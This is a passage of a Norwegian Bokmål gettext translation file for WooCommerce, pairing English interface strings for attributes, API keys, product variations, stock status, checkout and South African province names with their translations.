msgid "Unique slug/reference for the attribute; must be no more than 28 characters."
msgstr "Unik identifikator/referanse for attributten; må være kortere enn 28 tegn."
#: includes/admin/class-wc-admin-attributes.php:215
#: includes/admin/class-wc-admin-attributes.php:309
#: includes/admin/class-wc-admin-attributes.php:432
#: includes/admin/settings/class-wc-settings-shipping.php:455
#: assets/client/admin/product-editor/index.js:2
msgid "Slug"
msgstr "Identifikator"
#: includes/admin/class-wc-admin-attributes.php:210
#: includes/admin/class-wc-admin-attributes.php:428
msgid "Name for the attribute (shown on the front-end)."
msgstr "Navn på attributtet (vist på publikumsområdet)."
#: includes/admin/class-wc-admin-attributes.php:188
msgid "Error: non-existing attribute ID."
msgstr "Feil: Attributt-ID eksisterer ikke."
#: includes/admin/class-wc-admin-attributes.php:184
#: includes/react-admin/connect-existing-pages.php:308
#: assets/client/admin/product-editor/index.js:2
msgid "Edit attribute"
msgstr "Rediger attributt"
#: includes/admin/class-wc-admin-attributes.php:191
msgid "Attribute updated successfully"
msgstr "Attributt vellykket oppdatert"
#. translators: %s: slug being validated
#. translators: %s: attribute slug
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:615
#: includes/wc-attribute-functions.php:496
msgid "Slug \"%s\" is already in use. Change it, please."
msgstr "Identifikatoren \"%s\" er allerede i bruk. Vær så snill å endre den."
#. translators: %s: slug being validated
#. translators: %s: attribute slug
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:612
#: includes/wc-attribute-functions.php:493
msgid "Slug \"%s\" is not allowed because it is a reserved term. Change it, please."
msgstr "Identifikatoren \"%s\" er ikke tillatt fordi det er en reservert term. Vær så snill å endre den."
#. translators: %s: slug being validated
#. translators: %s: attribute slug
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:609
#: includes/wc-attribute-functions.php:490
msgid "Slug \"%s\" is too long (28 characters max). Shorten it, please."
msgstr "Identifikator \"%s\" er for lang (28 tegn maks). Forkorte den, takk."
#: includes/admin/class-wc-admin-assets.php:634
msgid "You cannot add the same tax rate twice!"
msgstr "Du kan ikke legge til samme avgiftssats to ganger!"
#: includes/admin/class-wc-admin-assets.php:633
msgid "Are you sure you want to revoke access to this download?"
msgstr "Er du sikker på at du vil fjerne tilgang til denne nedlastingen?"
#: includes/admin/class-wc-admin-assets.php:632
msgid "Could not grant access - the user may already have permission for this file or billing email is not set. Ensure the billing email is set, and the order has been saved."
msgstr "Kunne ikke gi tilgang - brukeren kan allerede ha tillatelse til denne filen, eller fakturerings e-post er ikke angitt. Sørg for at fakturerings e-posten er angitt, og ordren er lagret."
#: includes/admin/class-wc-admin-assets.php:607
msgid "No customer selected"
msgstr "Ingen kunder valgt"
#: includes/admin/class-wc-admin-assets.php:603
#: includes/admin/class-wc-admin-post-types.php:765
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:158
#: includes/admin/views/html-bulk-edit-product.php:270
#: includes/admin/views/html-quick-edit-product.php:176
#: assets/client/blocks/product-collection.js:14
msgid "Featured"
msgstr "Fremhevet"
#: includes/admin/class-wc-admin-assets.php:602
msgid "Load the customer's shipping information? This will remove any currently entered shipping information."
msgstr "Last kundens leveringsinformasjon? Dette vil fjerne envher allerede skrevet leveringsinformasjon."
#: includes/admin/class-wc-admin-assets.php:601
msgid "Load the customer's billing information? This will remove any currently entered billing information."
msgstr "Last kundens faktureringsinformasjon? Dette vil fjerne envher allerede skrevet faktureringsinformasjon."
#: includes/admin/class-wc-admin-assets.php:600
msgid "Copy billing information to shipping information? This will remove any currently entered shipping information."
msgstr "Kopier faktureringsinformasjon til leveringsinformasjon? Dette vil fjerne leveringsinformasjon som allerede er ført inn."
#: includes/admin/class-wc-admin-assets.php:598
msgid "Enter a name for the new attribute term:"
msgstr "Fyll inn et navn for den nye attributt-termen:"
#: includes/admin/class-wc-admin-assets.php:597
#: includes/admin/meta-boxes/views/html-product-attribute-inner.php:103
msgid "Used for variations"
msgstr "Brukes til varianter"
#: includes/admin/class-wc-admin-assets.php:596
#: includes/admin/meta-boxes/views/html-product-attribute-inner.php:97
msgid "Visible on the product page"
msgstr "Synlig på produktsiden"
#: includes/admin/class-wc-admin-assets.php:595
msgid "Enter some text, or some attributes by pipe (|) separating values."
msgstr "Tast inn litt tekst, eller noen attributter med symbolet \"|\" som skiller verdier."
#: includes/admin/class-wc-admin-assets.php:594
#: includes/admin/meta-boxes/views/html-product-attribute-inner.php:28
msgid "Value(s)"
msgstr "Verdi(er)"
#: includes/admin/class-wc-admin-assets.php:593
#: includes/admin/meta-boxes/views/html-order-download-permission.php:9
#: includes/admin/meta-boxes/views/html-product-attribute.php:8
msgid "Click to toggle"
msgstr "Trykk for å veksle"
#. translators: Remove chip.
#: includes/admin/class-wc-admin-assets.php:592
#: includes/admin/meta-boxes/views/html-product-attribute.php:10
#: includes/admin/meta-boxes/views/html-variation-admin.php:20
#: assets/client/admin/chunks/1087.js:2
#: assets/client/admin/components/index.js:2
#: assets/client/admin/wp-admin-scripts/fulfillments.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
#: assets/client/blocks/mini-cart.js:1
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:46
msgid "Remove"
msgstr "Fjern"
#: includes/admin/class-wc-admin-assets.php:591
#: includes/admin/class-wc-admin-attributes.php:206
#: includes/admin/class-wc-admin-attributes.php:273
#: includes/admin/class-wc-admin-attributes.php:308
#: includes/admin/class-wc-admin-attributes.php:346
#: includes/admin/class-wc-admin-attributes.php:426
#: includes/admin/class-wc-admin-attributes.php:479
#: includes/admin/class-wc-admin-webhooks-table-list.php:50
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:615
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:794
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:142
#: includes/admin/meta-boxes/views/html-product-attribute-inner.php:17
#: includes/admin/meta-boxes/views/html-product-data-general.php:131
#: includes/admin/meta-boxes/views/html-variation-admin.php:459
#: includes/admin/settings/views/html-webhooks-edit.php:22
#: includes/admin/views/html-admin-page-status-report.php:939
#: includes/export/class-wc-product-csv-exporter.php:133
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:17
#: includes/shipping/free-shipping/class-wc-shipping-free-shipping.php:104
#: includes/shipping/local-pickup/class-wc-shipping-local-pickup.php:102
#: includes/widgets/class-wc-widget-brand-thumbnails.php:229
#: includes/widgets/class-wc-widget-product-categories.php:52
#: src/Admin/API/Reports/Customers/Controller.php:541
#: src/Blocks/BlockTypes/Reviews/ProductReviewForm.php:83
#: src/Internal/Admin/Orders/MetaBoxes/CustomMetaBox.php:149
#: templates/single-product-reviews.php:89 assets/client/admin/chunks/4706.js:1
#: assets/client/admin/chunks/analytics-report-customers.js:1
#: assets/client/admin/chunks/marketplace.js:1
#: assets/client/admin/product-editor/blocks/generic/taxonomy/create-taxonomy-modal.js:1
#: assets/client/admin/product-editor/blocks/product-fields/name/edit.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "Name"
msgstr "Navn"
#: includes/admin/class-wc-admin-assets.php:590
msgid "Remove this item meta?"
msgstr "Fjern dette produktets meta?"
#: includes/admin/class-wc-admin-assets.php:589
msgid "Are you sure you wish to delete this tax column? This action cannot be undone."
msgstr "Er du sikker på at du vil slette denne avgiftskolonnen? Handlingen kan ikke angres."
#: includes/admin/class-wc-admin-assets.php:588
msgid "Are you sure you wish to delete this refund? This action cannot be undone."
msgstr "Er du sikker på at du vil slette denne refusjonen? Handlingen kan ikke angres."
#: includes/admin/class-wc-admin-assets.php:587
msgid "Are you sure you wish to process this refund? This action cannot be undone."
msgstr "Er du sikker på at du vil behandle denne refusjonen? Handlingen kan ikke angres."
#: includes/admin/class-wc-admin-assets.php:586
msgid "Please select some items."
msgstr "Vennligst velg noen produkter."
#: includes/admin/class-wc-admin-assets.php:538
#: includes/admin/class-wc-admin-assets.php:743
#: includes/admin/settings/views/html-webhooks-edit.php:68
#: includes/class-wc-frontend-scripts.php:733
#: includes/wc-template-functions.php:3118
#: includes/wc-template-functions.php:3119
#: templates/cart/shipping-calculator.php:58
msgid "Select an option…"
msgstr "Ta et valg…"
#: includes/admin/class-wc-admin-assets.php:521
msgid "%qty% variations"
msgstr "%qty% varianter"
#: includes/admin/class-wc-admin-assets.php:519
msgid "Save changes before changing page?"
msgstr "Lagre endringer før du forlater siden?"
#: includes/admin/class-wc-admin-assets.php:518
#: assets/client/admin/product-editor/index.js:2
msgid "Sale end date (YYYY-MM-DD format or leave blank)"
msgstr "Salg sluttdato (ÅÅÅÅ-MM-DD format eller la stå tomt)"
#: includes/admin/class-wc-admin-assets.php:517
#: assets/client/admin/product-editor/index.js:2
msgid "Sale start date (YYYY-MM-DD format or leave blank)"
msgstr "Salg startdato (ÅÅÅÅ-MM-DD eller la stå tom)"
#: includes/admin/class-wc-admin-assets.php:516
msgid "Are you sure you want to remove this variation?"
msgstr "Er du sikker på at du vil fjerne denne varianten?"
#: includes/admin/class-wc-admin-assets.php:514
msgid "1 variation added"
msgstr "1 variant lagt til"
#: includes/admin/class-wc-admin-assets.php:513
msgid "Set variation image"
msgstr "Sett variantbilde"
#: includes/admin/class-wc-admin-assets.php:512
#: includes/admin/class-wc-admin-brands.php:347
#: includes/admin/class-wc-admin-brands.php:430
#: includes/admin/class-wc-admin-taxonomies.php:163
#: includes/admin/class-wc-admin-taxonomies.php:273
#: assets/client/admin/product-editor/blocks/product-fields/images/edit.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "Choose an image"
msgstr "Velg et bilde"
#: includes/admin/class-wc-admin-assets.php:511
msgid "Last warning, are you sure?"
msgstr "Siste advarsel, er du sikker?"
#: includes/admin/class-wc-admin-assets.php:510
msgid "Are you sure you want to delete all variations? This cannot be undone."
msgstr "Er du sikker på at du vil slette alle variantene? Dette kan ikke angres."
#: includes/admin/class-wc-admin-assets.php:508
#: assets/client/admin/product-editor/index.js:2
msgid "Enter a value (fixed or %)"
msgstr "Tast inn en verdi (fast eller %)"
#: includes/admin/class-wc-admin-assets.php:507
msgid "Variation menu order (determines position in the list of variations)"
msgstr "Variantens menyrekkefølge (avgjør posisjon i listen over varianter)"
#: includes/admin/class-wc-admin-assets.php:506
#: assets/client/admin/product-editor/index.js:2
msgid "Enter a value"
msgstr "Tast inn en verdi"
#. translators: %d: Number of variations
#: includes/admin/class-wc-admin-assets.php:505
msgid "Do you want to generate all variations? This will create a new variation for each and every possible combination of variation attributes (max %d per run)."
msgstr "Ønsker du å generere alle varianter? Dette vil opprette en ny variant for hver eneste mulige kombinasjon av variantattributter (maks %d pr. kjøring)."
#: includes/admin/class-wc-admin-assets.php:424
msgid "Please enter in a value less than the regular price."
msgstr "Vennligst legg inn en verdi som er lavere enn den ordinære prisen."
#: includes/admin/class-wc-admin-assets.php:423
msgid "Please enter in country code with two capital letters."
msgstr "Fyll inn landskode med to store bokstaver."
#. translators: %s: price decimal separator
#: includes/admin/class-wc-admin-assets.php:422
msgid "Please enter a value with one monetary decimal point (%s) without thousand separators and currency symbols."
msgstr "Angi en verdi med ett monetært desimalskilletegn (%s) uten tusenskilletegn og valutasymboler."
#: includes/admin/class-wc-admin-assets.php:361
#: includes/class-wc-frontend-scripts.php:743
msgctxt "enhanced select"
msgid "Searching…"
msgstr "Søke…"
#: includes/admin/class-wc-admin-assets.php:360
#: includes/class-wc-frontend-scripts.php:742
msgctxt "enhanced select"
msgid "Loading more results…"
msgstr "Laster flere resultater og hellip;"
#: includes/admin/class-wc-admin-assets.php:359
#: includes/class-wc-frontend-scripts.php:741
msgctxt "enhanced select"
msgid "You can only select %qty% items"
msgstr "Du kan bare velge %qty% produkter"
#: includes/admin/class-wc-admin-assets.php:358
#: includes/class-wc-frontend-scripts.php:740
msgctxt "enhanced select"
msgid "You can only select 1 item"
msgstr "Du kan bare velge 1 produkt"
#: includes/admin/class-wc-admin-assets.php:357
#: includes/class-wc-frontend-scripts.php:739
msgctxt "enhanced select"
msgid "Please delete %qty% characters"
msgstr "Vennligst slett %qty% tegn"
#: includes/admin/class-wc-admin-assets.php:356
#: includes/class-wc-frontend-scripts.php:738
msgctxt "enhanced select"
msgid "Please delete 1 character"
msgstr "Vennligst slett 1 tegn"
#: includes/admin/class-wc-admin-assets.php:355
#: includes/class-wc-frontend-scripts.php:737
msgctxt "enhanced select"
msgid "Please enter %qty% or more characters"
msgstr "Fyll inn %qty% eller flere tegn"
#: includes/admin/class-wc-admin-assets.php:354
#: includes/class-wc-frontend-scripts.php:736
msgctxt "enhanced select"
msgid "Please enter 1 or more characters"
msgstr "Vennligst fyll inn 1 eller flere tegn"
#: includes/admin/class-wc-admin-assets.php:353
#: includes/class-wc-frontend-scripts.php:735
msgctxt "enhanced select"
msgid "Loading failed"
msgstr "Lasting mislyktes"
#: includes/admin/class-wc-admin-assets.php:352
#: includes/class-wc-frontend-scripts.php:734
#: includes/widgets/class-wc-widget-layered-nav.php:322
#: includes/widgets/class-wc-widget-product-categories.php:272
msgctxt "enhanced select"
msgid "No matches found"
msgstr "Ingen treff"
#: includes/admin/class-wc-admin-notices.php:266
#: includes/admin/class-wc-admin-status.php:310
#: includes/emails/class-wc-email.php:1337
#: src/Internal/Features/FeaturesController.php:1881
msgid "Action failed. Please refresh the page and retry."
msgstr "Handling mislyktes. Vennligst oppdater siden og prøv igjen."
#: includes/admin/class-wc-admin-api-keys.php:112
msgid "Search key"
msgstr "Søk etter nøkkel"
#: includes/admin/class-wc-admin-api-keys.php:99
msgid "Add key"
msgstr "Legg til nøkkel"
#: includes/admin/class-wc-admin-api-keys-table-list.php:190
#: includes/admin/settings/views/html-keys-edit.php:113
#: src/Internal/Admin/Orders/MetaBoxes/OrderAttribution.php:50
#: src/Internal/Admin/Settings/PaymentsProviders/PaymentGateway.php:130
#: src/Internal/Fulfillments/FulfillmentsRenderer.php:156
#: src/Internal/Traits/OrderAttributionMeta.php:325
#: assets/client/admin/wp-admin-scripts/fulfillments.js:2
msgid "Unknown"
msgstr "Ukjent"
#: includes/admin/class-wc-admin-api-keys-table-list.php:166
#: includes/admin/settings/views/html-keys-edit.php:77
#: includes/class-wc-auth.php:74
msgid "Read/Write"
msgstr "Les/skriv"
#: includes/admin/class-wc-admin-api-keys-table-list.php:165
#: includes/admin/settings/views/html-keys-edit.php:76
#: includes/class-wc-auth.php:73
msgid "Write"
msgstr "Skriv"
#: includes/admin/class-wc-admin-api-keys-table-list.php:164
#: includes/admin/settings/views/html-keys-edit.php:75
#: includes/class-wc-auth.php:72
msgid "Read"
msgstr "Les"
#: includes/admin/class-wc-admin-api-keys-table-list.php:111
#: includes/admin/class-wc-admin-api-keys-table-list.php:204
msgid "Revoke"
msgstr "Tilbakekall"
#: includes/admin/class-wc-admin-api-keys-table-list.php:101
msgid "Revoke API key"
msgstr "Tilbakekall API-nøkkel"
#: includes/admin/class-wc-admin-api-keys-table-list.php:100
msgid "View/Edit"
msgstr "Vis/rediger"
#. translators: %s: API key ID.
#. translators: %s: webhook ID.
#. translators: %d: product ID.
#. translators: 1: ID who refunded
#: includes/admin/class-wc-admin-api-keys-table-list.php:96
#: includes/admin/class-wc-admin-webhooks-table-list.php:89
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:103
#: includes/admin/meta-boxes/views/html-order-refund.php:29
msgid "ID: %d"
msgstr "ID: %d"
#: includes/admin/class-wc-admin-api-keys-table-list.php:84
msgid "API key"
msgstr "API-nøkkel"
#: includes/admin/class-wc-admin-api-keys-table-list.php:52
#: includes/admin/settings/views/html-keys-edit.php:102
msgid "Last access"
msgstr "Siste tilgang"
#: includes/admin/class-wc-admin-api-keys-table-list.php:51
#: includes/admin/settings/views/html-keys-edit.php:67
msgid "Permissions"
msgstr "Rettigheter"
#: includes/admin/class-wc-admin-api-keys-table-list.php:50
#: includes/admin/reports/class-wc-report-downloads.php:88
#: includes/admin/reports/class-wc-report-downloads.php:222
#: includes/admin/settings/views/html-keys-edit.php:42
msgid "User"
msgstr "Bruker"
#: includes/admin/class-wc-admin-api-keys-table-list.php:49
#: includes/admin/settings/views/html-keys-edit.php:94
msgid "Consumer key ending in"
msgstr "Kundenøkkel som slutter på"
#: includes/admin/class-wc-admin-api-keys-table-list.php:48
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:620
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:799
#: includes/admin/list-tables/class-wc-admin-list-table-coupons.php:85
#: includes/admin/meta-boxes/views/html-variation-admin.php:445
#: includes/admin/settings/class-wc-settings-shipping.php:456
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:81
#: includes/admin/settings/views/html-keys-edit.php:28
#: includes/export/class-wc-product-csv-exporter.php:138
#: includes/gateways/bacs/class-wc-gateway-bacs.php:119
#: includes/gateways/cheque/class-wc-gateway-cheque.php:88
#: includes/gateways/cod/class-wc-gateway-cod.php:114
#: includes/gateways/paypal/includes/settings-paypal.php:29
#: includes/wc-template-functions.php:2076
#: src/Admin/API/ShippingPartnerSuggestions.php:173
#: src/Internal/Admin/Onboarding/OnboardingIndustries.php:77
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:370
#: templates/single-product/tabs/description.php:22
#: assets/client/admin/chunks/settings-payments-bacs.js:1
#: assets/client/admin/chunks/settings-payments-cheque.js:1
#: assets/client/admin/chunks/settings-payments-cod.js:1
#: assets/client/admin/product-editor/index.js:2
#: assets/client/blocks/product-details.js:1
msgid "Description"
msgstr "Beskrivelse"
#. translators: %s: average rating
#. translators: %s: rating
#. translators: %s: Rating.
#. translators: %s is referring to the average rating value
#. translators: %s is the rating value wrapped in HTML strong tags.
#: includes/class-wc-embed.php:132
#: includes/rest-api/Controllers/Version3/class-wc-rest-report-reviews-totals-controller.php:57
#: includes/wc-template-functions.php:3971
#: includes/wc-template-functions.php:3994
#: includes/widgets/class-wc-widget-layered-nav-filters.php:123
#: src/Blocks/BlockTypes/ProductRating.php:122
#: src/Blocks/BlockTypes/ProductRatingStars.php:89
#: src/Blocks/BlockTypes/Reviews/ProductReviewRating.php:45
#: assets/client/blocks/active-filters-frontend.js:6
#: assets/client/blocks/active-filters-wrapper-frontend.js:6
#: assets/client/blocks/active-filters.js:6
#: assets/client/blocks/all-reviews.js:3
#: assets/client/blocks/product-review-rating.js:3
#: assets/client/blocks/rating-filter-frontend.js:3
#: assets/client/blocks/rating-filter-wrapper-frontend.js:7
#: assets/client/blocks/rating-filter.js:3
#: assets/client/blocks/reviews-by-category.js:14
#: assets/client/blocks/reviews-by-product.js:11
#: assets/client/blocks/reviews-frontend.js:3
msgid "Rated %s out of 5"
msgstr "Vurdert %s av 5"
#: includes/wc-template-functions.php:4009
msgctxt "min_price"
msgid "From:"
msgstr "Fra:"
#: includes/abstracts/abstract-wc-product.php:2303
#: includes/admin/class-wc-admin-reports.php:152
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:319
#: includes/admin/reports/class-wc-report-stock.php:120
#: includes/wc-product-functions.php:1053
#: src/Blocks/Utils/ProductAvailabilityUtils.php:39
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:400
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:866
#: assets/client/admin/chunks/analytics-report-stock.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "Out of stock"
msgstr "Utsolgt"
#: includes/abstracts/abstract-wc-product.php:2305
#: includes/abstracts/abstract-wc-product.php:2307
#: src/Blocks/BlockTypes/MiniCartProductsTableBlock.php:64
#: templates/cart/cart.php:120 assets/client/blocks/cart.js:8
#: assets/client/blocks/checkout.js:34
#: assets/client/blocks/mini-cart-contents.js:9
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:26
msgid "Available on backorder"
msgstr "Utsolgt, men kan bestilles"
#. translators: %s: stock amount
#: includes/wc-formatting-functions.php:1319
msgid "%s in stock"
msgstr "%s på lager"
#: includes/wc-formatting-functions.php:1324
msgid "(can be backordered)"
msgstr "(kan også restbestilles)"
#. translators: %s: stock amount
#: includes/wc-formatting-functions.php:1314
msgid "Only %s left in stock"
msgstr "Kun %s på lager"
#: includes/admin/list-tables/class-wc-admin-list-table-products.php:317
#: includes/admin/reports/class-wc-report-stock.php:118
#: includes/wc-formatting-functions.php:1307
#: includes/wc-product-functions.php:1052
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:396
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:862
#: src/Internal/StockNotifications/Admin/Templates/html-product-data-admin.php:42
#: assets/client/admin/chunks/analytics-report-stock.js:1
#: assets/client/admin/product-editor/index.js:2
#: assets/client/blocks/all-products.js:6
#: assets/client/blocks/product-filter-active.js:1
#: assets/client/blocks/product-stock-indicator-frontend.js:1
#: assets/client/blocks/product-stock-indicator.js:1
msgid "In stock"
msgstr "På lager"
#: includes/abstracts/abstract-wc-product.php:2120
#: includes/class-wc-embed.php:108 includes/class-wc-product-simple.php:62
#: includes/class-wc-product-variable.php:79
#: assets/client/blocks/all-reviews.js:1 assets/client/blocks/checkout.js:32
#: assets/client/blocks/reviews-by-category.js:12
#: assets/client/blocks/reviews-by-product.js:9
#: assets/client/blocks/reviews-frontend.js:1
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:35
msgid "Read more"
msgstr "Les mer"
#: includes/abstracts/abstract-wc-product.php:2094
#: includes/class-wc-product-simple.php:62
#: packages/email-editor/src/Integrations/WooCommerce/Renderer/Blocks/class-product-button.php:72
#: src/Blocks/BlockTypes/ProductButton.php:143
#: assets/client/blocks/add-to-cart-form.js:1
#: assets/client/blocks/add-to-cart-with-options.js:1
#: assets/client/blocks/all-products.js:1
#: assets/client/blocks/all-products.js:2
#: assets/client/blocks/all-products.js:9
#: assets/client/blocks/cart-frontend.js:7
#: assets/client/blocks/cart-frontend.js:8 assets/client/blocks/cart.js:18
#: assets/client/blocks/cart.js:19 assets/client/blocks/featured-product.js:15
#: assets/client/blocks/product-button-frontend.js:2
#: assets/client/blocks/product-button-frontend.js:3
#: assets/client/blocks/product-button.js:1
#: assets/client/blocks/product-button.js:2
msgid "Add to cart"
msgstr "Legg i handlekurv"
#: includes/gateways/class-wc-payment-gateway-cc.php:64
msgid "CVC"
msgstr "CVC"
#: includes/gateways/class-wc-payment-gateway-cc.php:63
msgid "Card code"
msgstr "Kortkode"
#: includes/gateways/class-wc-payment-gateway-cc.php:74
msgid "MM / YY"
msgstr "Måned / År"
#: includes/gateways/class-wc-payment-gateway-cc.php:73
msgid "Expiry (MM/YY)"
msgstr "Utløpsdato (MM/ÅÅ)"
#: includes/gateways/class-wc-payment-gateway-cc.php:69
msgid "Card number"
msgstr "Kortnummer"
#. translators: 1: old order status 2: new order status
#: includes/class-wc-order.php:452
msgid "Order status changed from %1$s to %2$s."
msgstr "Ordrestatus endret fra %s til %s."
#. Plugin Name of the plugin
#: woocommerce.php includes/admin/class-wc-admin-menus.php:97
#: includes/admin/class-wc-admin-setup-wizard.php:353
#: includes/admin/class-wc-admin-setup-wizard.php:446
#: includes/admin/class-wc-admin.php:298
#: includes/admin/helper/views/html-oauth-start.php:21
#: includes/class-wc-order.php:2030 includes/class-wc-order.php:2031
#: includes/class-wc-privacy.php:54
#: includes/customizer/class-wc-shop-customizer.php:39
#: includes/react-admin/connect-existing-pages.php:64
#: includes/wc-order-functions.php:1165
#: src/Admin/Features/ProductBlockEditor/BlockRegistry.php:135
#: src/Admin/PageController.php:208 src/Blocks/BlockTypesController.php:225
#: src/Blocks/Patterns/PatternRegistry.php:24
#: src/Internal/Admin/Homescreen.php:182 src/Internal/Admin/Loader.php:420
#: src/Internal/Admin/Settings.php:209 templates/auth/header.php:35
#: assets/client/blocks/cart-frontend.js:8 assets/client/blocks/cart.js:32
#: assets/client/blocks/classic-shortcode.js:1
#: assets/client/blocks/legacy-template.js:4
#: assets/client/blocks/mini-cart-component-frontend.js:1
#: assets/client/blocks/mini-cart-contents.js:13
#: assets/client/blocks/product-search.js:1
#: assets/client/blocks/product-top-rated.js:12
msgid "WooCommerce"
msgstr "WooCommerce"
#. translators: 1: current item count
#. translators: %d: downloads count
#: includes/admin/helper/class-wc-helper.php:475
#: includes/admin/helper/views/html-main.php:140
#: includes/class-wc-emails.php:550
#: includes/legacy/abstract-wc-legacy-order.php:511
#: includes/wc-account-functions.php:244
#: includes/wc-template-functions.php:3811
#: src/Internal/Admin/Logging/FileV2/FileListTable.php:70
#: src/Internal/Admin/Logging/PageController.php:378
#: assets/client/admin/chunks/2791.js:1 assets/client/admin/chunks/5875.js:1
#: assets/client/admin/chunks/analytics-report-downloads.js:1
#: assets/client/admin/chunks/marketplace.js:1
#: assets/client/blocks/order-confirmation-downloads.js:1
msgid "Download"
msgid_plural "Downloads"
msgstr[0] "Nedlasting"
msgstr[1] "Nedlastinger"
#. translators: 1: current item count
#. translators: %d: downloads count
#: includes/legacy/abstract-wc-legacy-order.php:511
#: includes/wc-template-functions.php:3811
msgid "Download %d"
msgstr "Last ned %d"
#: includes/abstracts/abstract-wc-order.php:2399
#: src/Blocks/BlockTypes/OrderConfirmation/Summary.php:34
#: templates/checkout/order-receipt.php:33 templates/checkout/thankyou.php:66
#: assets/client/blocks/order-confirmation-summary.js:1
msgid "Total:"
msgstr "Totalt:"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:517
#: includes/class-wc-order.php:2437 templates/checkout/order-receipt.php:38
#: templates/checkout/thankyou.php:72
#: assets/client/blocks/order-confirmation-summary.js:1
msgid "Payment method:"
msgstr "Betalingsmåte:"
#: includes/admin/meta-boxes/views/html-order-fee.php:18
#: includes/class-wc-cart-fees.php:74 includes/class-wc-order-item-fee.php:234
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:338
#: assets/client/blocks/cart.js:2 assets/client/blocks/checkout.js:2
#: assets/client/blocks/mini-cart-contents.js:1
#: assets/client/blocks/wc-blocks-data.js:3
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:40
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:47
msgid "Fee"
msgstr "Gebyr"
#: includes/abstracts/abstract-wc-order.php:2333
#: includes/admin/meta-boxes/views/html-order-items.php:200
#: assets/client/blocks/cart.js:22 assets/client/blocks/checkout.js:25
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:37
msgid "Shipping:"
msgstr "Frakt:"
#: includes/abstracts/abstract-wc-order.php:2317
#: assets/client/blocks/cart.js:22 assets/client/blocks/checkout.js:25
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:37
msgid "Discount:"
msgstr "Rabatt:"
#: includes/abstracts/abstract-wc-order.php:2301
#: includes/wc-template-functions.php:2468 assets/client/blocks/cart.js:22
#: assets/client/blocks/checkout.js:25
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:37
msgid "Subtotal:"
msgstr "Delsum:"
#: includes/abstracts/abstract-wc-order.php:2265
#: includes/class-wc-cart.php:1720 includes/class-wc-product-grouped.php:122
msgid "Free!"
msgstr "Gratis!"
#. translators: 1: first name 2: last name
#: includes/class-wc-countries.php:693 includes/class-wc-countries.php:709
#: includes/class-wc-order.php:1016 includes/class-wc-order.php:1026
#: includes/rest-api/Controllers/Version2/class-wc-rest-network-orders-v2-controller.php:151
#: src/Internal/Admin/Orders/ListTable.php:1115
msgctxt "full name"
msgid "%1$s %2$s"
msgstr "%1$s %2$s"
#: includes/class-wc-order-item-product.php:233
#: includes/class-wc-order-item-product.php:473
#: includes/legacy/abstract-wc-legacy-order.php:167
msgid "Backordered"
msgstr "Restbestilt"
#: includes/admin/class-wc-admin-menus.php:124
#: includes/admin/views/html-admin-page-status-report.php:698
#: includes/class-wc-install.php:2431
#: includes/react-admin/connect-existing-pages.php:35
#: src/Internal/Admin/Analytics.php:266
#: src/Internal/Admin/Logging/PageController.php:212
#: assets/client/admin/app/index.js:2 assets/client/admin/chunks/2672.js:2
#: assets/client/admin/chunks/9336.js:1
#: assets/client/admin/chunks/customize-store.js:1
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/email-editor/index.js:2
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/settings-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
#: assets/client/blocks/accordion-group.js:1
#: assets/client/blocks/accordion-header.js:1
#: assets/client/blocks/accordion-item.js:1
#: assets/client/blocks/all-products.js:9 assets/client/blocks/cart-link.js:1
#: assets/client/blocks/cart.js:19 assets/client/blocks/checkout.js:37
#: assets/client/blocks/coming-soon.js:1 assets/client/blocks/mini-cart.js:1
#: assets/client/blocks/price-filter.js:5
#: assets/client/blocks/product-collection.js:16
#: assets/client/blocks/product-details.js:1
#: assets/client/blocks/product-filter-price-slider.js:1
#: assets/client/blocks/product-review-author-name.js:1
#: assets/client/blocks/product-review-date.js:1
#: assets/client/blocks/product-reviews-pagination.js:1
#: assets/client/blocks/product-reviews-title.js:1
msgid "Settings"
msgstr "Innstillinger"
#: i18n/states.php:2221
msgid "Western Cape"
msgstr "Western Cape"
#: i18n/states.php:2220
msgid "North West"
msgstr "Nordvest"
#: i18n/states.php:2219
msgid "Northern Cape"
msgstr "Northern Cape"
#: i18n/states.php:2218
msgid "Mpumalanga"
msgstr "Mpumalanga"
#: i18n/states.php:2217
msgid "Limpopo"
msgstr "Limpopo"
#: i18n/states.php:2216
msgid "KwaZulu-Natal"
msgstr "KwaZulu-Natal"
#: i18n/states.php:2215
msgid "Gauteng"
msgstr "Gauteng"
#: i18n/states.php:2214
msgid "Free State"
msgstr "Gratis delstat"
#: i18n/states.php:2213
